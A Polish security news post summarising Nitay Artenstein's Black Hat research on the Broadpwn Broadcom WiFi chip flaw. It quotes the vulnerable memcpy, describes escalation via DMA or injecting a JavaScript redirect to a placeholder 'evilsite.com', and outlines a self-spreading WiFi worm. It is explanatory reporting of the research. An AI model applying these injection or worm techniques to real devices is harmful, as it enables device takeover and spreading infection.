Broadpwn – implementacja robaka przenoszącego się po WiFi

Wreszcie mamy względnie pełną informację o podatności Broadpwn. Nitay Artenstein, prezentujący swoje wyniki na tegorocznym Blackhacie przedstawił całą procedurę.

Dla przypomnienia na nasze potrzeby, nowoczesny telefon składa się z dwóch komponentów:

a) chip WiFI oraz b) cała reszta

Rynek chipów WiFi został zdominowany przez firmę Broadcom, i bazuje on na jednym z procesorów ARM:

The main ARM microcontroller in the WiFi SoC runs a mysterious proprietary RTOS known as HNDRTE.

Co więcej nie mamy tu nowoczesnych metod ochrony przez podatnościami klasy buffer overflow i jak widać poniżej, możemy pisać bez problemu do dowolnego miejsca pamięci (systemu na chipie) i wykonywać z niego dowolny kod:

Running some tests on Broadcom’s chips, we realised with joy that there was no ASLR and that the whole of RAM has RWX permissions – meaning that we can read, write and run code anywhere in memory.

Buffer overflow udało znaleźć się względnie prosto, w jednej z funkcji obsługującej nieuwierzytelnione pakiety przesyłane przez WiFI, a związane z QoS. Jest tam po prostu bezczelny memcpy: memcpy(current_wmm_ie, ie->data, ie->len);

Dalej, wykorzystując tego buga udało się wykonać kod na chipie (wymaga to exploita na konkretny build firmware lub jest bardziej uniwersalna metoda, choć mniej deterministyczna – odsyłam do cytowanego badania). Co więcej, autor osiągnął tutaj stabilizację exploita = telefon zachowuje się stabilnie po przejęciu chipa WiFi.

Ostatni krok to przejęcie całego telefonu. I wskazane są tutaj trzy możliwości. Jedna z nich to możliwość bezpośredniego pisania do pamięci telefonu (DMA) z chipa; ale tutaj autor jako minus wskazuje fakt, że obsługują to tylko nowsze telefony – np. dopiero Samsung Galaxy S7.

Inna metoda to użycie „klasycznego” exploitu przeglądarkowego (z ewentualnym rozszerzeniem uprawnień do root), o który nie będzie specjalnie trudno w obecnych czasach. Użyta tu jest funkcja w firmware chipu WiFi wlc_recv()  która po prostu przetwarza wszystkie pakiety przechodzące przez interfejs bezprzewodowy. Autor wstrzykuje kawałek javascriptu do odpowiedzi HTTP top.location.href = http://www.evilsite.com jeśli ktoś odwiedza stronę bez HTTPS.

Na koniec Nitay Artenstein wspomina, że zaimplementował robaka, który:

1. Instaluje się w pierwszym telefonie
2. Sniffuje WiFi w celu wyszukania pakietów probe – prób wyszukania znanych sieci WiFi przez potencjalne ofiary
3. Ustawia fałszywy access point, dający odpowiedź będącą exploitem
4. Exploit instaluje się u kolejnej ofiary

Autor nie wskazał czy testowy worm posiadał również funkcję przekierowywania ofiary na stronę z exploitem przeglądrkowym.

–ms